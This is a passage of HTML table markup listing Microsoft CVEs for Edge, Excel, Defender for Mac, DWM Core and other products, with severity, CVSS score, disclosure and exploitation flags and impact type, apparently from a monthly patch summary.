  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
